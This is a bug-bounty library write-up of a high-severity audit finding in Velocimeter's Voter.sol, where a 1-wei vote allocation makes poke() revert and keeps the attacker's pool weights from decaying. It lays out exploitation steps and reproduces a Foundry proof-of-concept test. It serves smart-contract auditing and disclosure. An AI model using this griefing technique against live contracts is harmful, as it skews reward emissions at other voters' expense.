# poke() may be dos

A veNFT voter can allocate 1 wei to a pool so rounding to zero in poke() reverts, blocking weight decay and skewing gauge reward distribution.

- Payout: Audit contest
- Severity: high
- Program: Velocimeter
- Found by: bughuntoor
- Disclosed: 2024-06-27
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/55
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-velocimeter%3AH-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:dos vuln:reward-distribution

**Target:** Voter.sol poke()/_vote() in ve(3,3) governance contract
**Root cause:** poke() recomputes _poolWeight = _weights[i] * _weight / _totalVoteWeight using decayed balanceOfNFT; a tiny prior allocation rounds to zero and the require(_poolWeight != 0) reverts the whole poke.
**Steps:**
1. Vote with two pools, weights[0]=1 and weights[1]=9e17 so pool0's actual _poolWeight is 1 wei.
2. Advance one epoch so balanceOfNFT decays.
3. Call voter.poke(1); _poolWeight for pool0 rounds down to 0 and require(_poolWeight != 0) reverts.
4. Repeat each epoch to keep weights[_pool] stale.
**How found:** Code reading of _vote() rounding math combined with the require(_poolWeight != 0) guard; hypothesized that decayed balance makes a 1-wei allocation round to zero, confirmed with a Foundry PoC.
**Exploitation:** Attacker votes 1 wei to a target pool and the rest to their preferred pool; each subsequent epoch poke() reverts, so weights[] never decays for the attacker's pool while honest voters' weights decay, inflating the attacker's share of gauge reward distribution.
**Escalation:** Persistent across epochs: stale weights compound, giving the attacker's gauge a growing disproportionate share of emissions.
**Insight:** In ve(3,3) forks, look for require(x != 0) guards on values derived from decaying balances multiplied by user-chosen weights — a 1-wei allocation is a cheap griefing primitive that freezes weight updates.

## Proof of concept (copied exactly from the original report)

**PoC test showing poke() reverts next epoch**

```
function testCannotChangeVoteAndPokeAndResetInSameEpoch() public {
        address pair = router.pairFor(address(FRAX), address(FLOW), false);
        address pair1 = router.pairFor(address(FRAX), address(DAI), true);
        // vote
        vm.warp(block.timestamp + 1 weeks);
        address[] memory pools = new address[](2);
        pools[0] = address(pair);
        pools[1] = address(pair1);
        uint256[] memory weights = new uint256[](2);
        weights[0] = 1;
        weights[1] = 900000000000000000;
        voter.vote(1, pools, weights);

        // fwd half epoch
        vm.warp(block.timestamp + 1 weeks);

        // try voting again and fail
        //pools[0] = address(pair2);
        //vm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
        //voter.vote(1, pools, weights);

        // try poking and fail
        //vm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
        console.log("Try to poke");
        voter.poke(1);
    }
```

